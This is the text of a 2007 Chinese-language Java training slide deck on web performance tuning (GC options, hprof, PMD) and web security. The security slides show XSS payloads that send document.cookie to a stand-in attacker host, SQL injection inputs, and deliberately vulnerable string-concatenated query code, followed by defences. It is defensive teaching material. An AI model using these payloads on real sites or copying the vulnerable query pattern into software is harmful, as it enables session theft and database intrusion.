2007
Java Certification Day
Java Web 程式之
效能技巧與安全防護
林信良
教育訓練講師暨技術顧問
昇陽電腦
1

Agenda
1 – Web 效能概觀
2 – 效能量測工具
3 – 程式碼分析
4 - Web 安全概觀
5 – 跨網站指令稿攻擊（Cross-site scripting）
6 – 隱碼攻擊（SQL Injection）
2

Web 效能概觀
• 所有程式都受到三種系統限制
> CPU速度
> 記憶體
> 輸出／輸入
Footnote position, 12 pts.
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CPU-bound類型的程式
• 著重在提昇程式效率的演算法
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記憶體
• Java 有垃圾收集
> 可以沒有顧忌的配置物件？
> 系統中有太多短命的物件？
• 大型物件浪費記憶體
> 建立物件、垃圾收集
Sun Confidential: Internal Only 5

輸入／輸出
• 輸出輸入絕對會拖慢程式
> 磁碟存取（檔案讀寫、日誌…）
> 資料庫存取（增、刪、查、找…）
> 網路存取（DNS反查…）
Sun Confidential: Internal Only 6

從１到１００
• 撰寫一個程式，可在文字模式上顯示
HOW DO YOU DO
Footnote position, 12 pts.
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How do you do
for(int i = 1; i < 100; i++) {
System.out.print(i + "+");
}
System.out.println(100);
• 在迴圈中經常犯的兩種錯誤
> 非必要的輸出／輸入
> 非必要的建構物件
Sun Confidential: Internal Only 8

How do you do
• 改進了輸出
String output = "";
for(int i = 1; i < 100; i++) {
output = output + i + "+";
} 一次 IO
output += 100;
System.out.println(output);
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How do you do
• 物件的重用（一）
StringBuffer output = new StringBuffer();
for(int i = 1; i < 100; i++) {
output.append(i);
output.append("+");
}
output.append(100);
System.out.println(output); 重用物件
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How do you do
• 物件的重用（二）
StringBuffer output = new StringBuffer(300);
for(int i = 1; i < 100; i++) {
output.append(i);
output.append("+");
}
output.append(100);
System.out.println(output);
預設16字元
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How do you do
• 執行緒議題
StringBuilder output = new StringBuilder(300);
for(int i = 1; i < 100; i++) {
output.append(i);
output.append("+");
}
output.append(100);
System.out.println(output);
JDK 5.0以上
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效能量測工具
• 觀察GC -verbosegc
• 程式執行效率 -Xrunhprof
• JDK 5.0之後的工具 jconsole
• Profiler
> NetBeans Profiler
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觀察GC
• 啟動JVM時的選項，可觀察
> 物件所佔據的時間與空間
> 回收時所釋放的空間
C:>java -verbosegc -jar "C:Program FilesJavajdk1.6.0_01demojfc
NotepadNotePad.jar"
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觀察GC
Sun Confidential: Internal Only 15

觀察GC
• C:>java -verbosegc -XX:+PrintGCDetails-jar "C:Program
FilesJavajdk1.6.0_01demojfcNotepadNotePad.jar"
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觀察GC
• Heap區是分Generation管理的
• 針對不同的Generation採不同的GC演算法
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觀察GC
• 預設的JVM假設物件是infant mortality
> 在建構之後，很快就會成為垃圾
> 例如Iterator物件
• 物件一開始是分配在Eden
> 多數的物件成為垃圾
> 填滿時引發minor collection
> 在當中存活的物件被複製到Tenured generation
• Tenured generation會使用major collection
> 通常比較慢，因為包括所有的物件
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觀察GC
• GC運行時，應用程式不作任何事
> 呼叫System.gc()
> Heap區太小，預設值都很小
> 頻繁的建構、釋放物件
• 最基本的是調整Heap分配
> Xms
> Xmx
> Xmn
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觀察GC
• 預設值通常不適用大型主機
> 初始heap區通常很小，要經過多次major
collection
> 最大heap區通常也不適用
• 簡單的設定
> Server端JVM最好將-Xms和-Xmx設為相同值
> 最好-Xmn值约等於-Xmx的1/3
> 如果每次GC後，heap的剩餘空間是總空間的
50%，表示Heap處於健康狀態
> Server端Java程式每次GC後最好能有65%剩餘
空間
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程式執行效率
• 定期對call stack進行取樣
> 得知目前正在stack頂端的方法
> 可計算哪個部份花費最多執行時間
• java -Xrunhprof:help
> java -Xrunhprof:cpu=samples
> java -Xrunhprof:cpu=times
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程式執行效率
• java -Xrunhprof:cpu=samples,depth=6 TestHprof
• java.hprof.txt
CPU SAMPLES BEGIN (total = 109) Thu Mar 22 13:54:45 2007
rank self accum count trace method
1 21.10% 21.10% 23 300041 java.lang.AbstractStringBuilder.expandCapacity
2 17.43% 38.53% 19 300052 java.lang.AbstractStringBuilder.expandCapacity
3 12.84% 51.38% 14 300047 java.lang.AbstractStringBuilder.expandCapacity
4 6.42% 57.80% 7 300046 java.lang.AbstractStringBuilder.append
5 5.50% 63.30% 6 300050 java.lang.String.<init>
6 5.50% 68.81% 6 300053 java.lang.String.<init>
7 3.67% 72.48% 4 300048 java.lang.AbstractStringBuilder.append
8 3.67% 76.15% 4 300045 java.lang.String.<init>
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TRACE 300041: (thread=200001)
java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99)
java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393)
java.lang.StringBuilder.append(StringBuilder.java:120)
TestHprof.addToCat(TestHprof.java:15)
TestHprof.makeString(TestHprof.java:10)
TestHprof.main(TestHprof.java:54)
TRACE 300052: (thread=200001)
java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99)
java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393)
java.lang.StringBuilder.append(StringBuilder.java:120)
TestHprof.makeStringWithLocal(TestHprof.java:28)
TestHprof.main(TestHprof.java:56)
TRACE 300047: (thread=200001)
java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99)
java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393)
java.lang.StringBuilder.append(StringBuilder.java:120)
TestHprof.makeStringInline(TestHprof.java:21)
TestHprof.main(TestHprof.java:55)
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jconsole
• JDK 5.0之後
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jconsole
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jconsole
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Profiler
• NetBeans Profiler
> http://www.netbeans.org/products/profiler/
> http://www.netbeans.org/kb/55/profiler-tutorial.html
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效能分析
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選擇分析方法
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過濾器（Filter）
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過濾器（Filter）
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分析呼叫堆疊與取樣
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程式碼分析
• LocalVariableCouldBeFinal
> 區域變數只被設值一次時應宣告為 final
• MethodArgumentCouldBeFinal
> 方法的參數如果不會被設值則應宣告為 final
• AvoidInstantiatingObjectsInLoops
> 偵測是否在迴圈中建立新的物件實體
• UseArrayListInsteadOfVector
> 建議以 ArrayList 取代 Vector
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程式碼分析
• SimplifyStartsWith
> 當字串字面值的長度為 1 時，建議改以 String.charAt(0) 代
替 String.startsWith 以增進效能
• UseStringBufferForStringAppends
> 建議字串結合以 StringBuffer 取代
• UseArraysAsList
> 建議用Arrays.asList 由物件陣列來轉換成 List 而不是以迴
圈的方式建立 List
• AvoidArrayLoops
> 以 System.arrayCopy 取代迴圈的方式複製陣列
• UnnecessaryWrapperObjectCreation
> 建立移除不必要的外覆物件，應直接傳遞原始物件較佳
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程式碼分析
• http://pmd.sourceforge.net/
• PMD scans Java source code and looks for
potential problems like:
> Possible bugs - empty try/catch/finally/switch
statements
> Dead code - unused local variables, parameters and
private methods
> Suboptimal code - wasteful String/StringBuffer
usage
> Overcomplicated expressions - unnecessary if
statements, for loops that could be while loops
> Duplicate code - copied/pasted code means
copied/pasted bugs
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程式碼分析
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程式碼分析
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Web 安全概觀
• 研究：91％的網站都有漏洞
> Cross Site Scripting
> SQL Injection
> …
> Improper Error Handling
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跨網站指令稿攻擊
• Cross-site scripting（XSS）
• 會話劫奪（Session hijacking）
• 釣魚（Phishing）
• 特徵
> 使用者輸入的資料沒有過濾
> 網站直接回送使用者輸出的資料
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XSS：Session hijacking
• 例如搜尋功能回送使用者輸入的查詢字串
Could not find any documents including ‘foo’
Sun Confidential: Internal Only 40

XSS：Session hijacking
Search <b>foo</b>
Could not find any documents including ‘<b>foo</b>’
Could not find any documents including ‘foo’
Sun Confidential: Internal Only 41

XSS：Session hijacking
<script language=‘javascript’>alert(document.cookie)</script>
Could not find any documents including
‘<script language=‘javascript’>alert(document.cookie)</script>’
Sun Confidential: Internal Only 42

XSS：Session hijacking
入侵
www.hahaorz.com
http://www.xssorz.com/search?query=foo
www.xssorz.com
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XSS：Session hijacking
入侵
www.hahaorz.com
http://www.xssorz.com/search?query=foo
<script
language='javascript'>document.location="http://ww
w.hahaorz.com/foo" +document.cookie</script>
www.xssorz.com
Sun Confidential: Internal Only 44

XSS：Session hijacking
入侵
www.hahaorz.com
http://www.xssorz.com/search?query=foo
%3Cscript+language%3D%27javascript%27%3Edocu
ment.cookies%3C%2Fscript%3E
www.xssorz.com
Sun Confidential: Internal Only 45

XSS：Session hijacking
入侵
www.hahaorz.com
http://www.xssorz.com/search?query%3Cs
cript+language%3D%27javascript%27%3E
document.cookies%3C%2Fscript%3E
www.xssorz.com
www.e04orz.com
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XSS：Session hijacking
入侵
www.hahaorz.com
<a href =http://www.xssorz.com/search?query%3C
script+language%3D%27javascript%27%3Edocumen
t.cookies%3C%2Fscript%3E
>可以找到很多美女圖^o^</a>
www.xssorz.com
www.e04orz.com
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XSS：Session hijacking
入侵
www.hahaorz.com
可以找到很多猛男圖^o^
www.xssorz.com
www.e04orz.com
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XSS：Session hijacking
入侵
www.hahaorz.com
可以找到很多猛男圖^o^
JSESSIONID=0146B416F…
www.xssorz.com
www.e04orz.com
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XSS：Phishing
<script language='javascript'>document.location="http://www.svn.com/foo"
+document.cookie</script>
留言版、討論區
http://java.sun.com/forum
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XSS：Phishing
<script language='javascript'>document.location="http://www.svn.com/foo"
+document.cookie</script>
留言版、討論區
http://java.svn.com/forum
http://java.svn.com/forum
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XSS
• 過濾請求資料
> <  &lt;
> >  &gt;
> <script>
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隱碼攻擊
• SQL Injection
名稱： 密碼：
Statement statement = connection.createStatement();
String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
username + “’ AND PASSWORD=‘” + password + “’;”;
ResultSet resultSet = statement.executeQuery(queryString);
“SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
username + “’ AND PASSWORD=‘” + password + “’;”
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SQL Injection
名稱： caterpillar 密碼： 123456
Statement statement = connection.createStatement();
String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
username + “’ AND PASSWORD=‘” + password + “’;”;
ResultSet resultSet = statement.executeQuery(queryString);
“SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’ AND
PASSWORD=‘123456’;
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SQL Injection
名稱： caterpillar 密碼： ‘ OR ‘1’=‘1
Statement statement = connection.createStatement();
String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
username + “’ AND PASSWORD=‘” + password + “’;”;
ResultSet resultSet = statement.executeQuery(queryString);
“SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’ AND
PASSWORD=‘‘ OR ‘1’=‘1’;
總是為true
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SQL Injection
名稱： caterpillar’;# 密碼：
Statement statement = connection.createStatement();
String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
username + “’ AND PASSWORD=‘” + password + “’;”;
ResultSet resultSet = statement.executeQuery(queryString);
“SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’;# AND
PASSWORD=‘‘ OR ‘’;
註解符號
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SQL Injection
• 使用PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
“SELECT * FROM USER_TABLE WHERE USERNAME=? AND
PASSWORD=?");
• 過濾請求資料
> 單引號 &#39;
> 雙引號  &quot;
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自動檢測安全工具
• 在開發程式的過程中帶入安全觀念與工具
> 在程式撰寫階段應用安全掃描工具
> 在測試階段實行滲透（permeation）測試
> 對已上線的產品進行補強
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自動檢測安全工具
• Watchfire Web Appscan
• Acunetrix
• Fortify
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Thanks
林信良
教育訓練講師暨技術顧問
昇陽電腦
60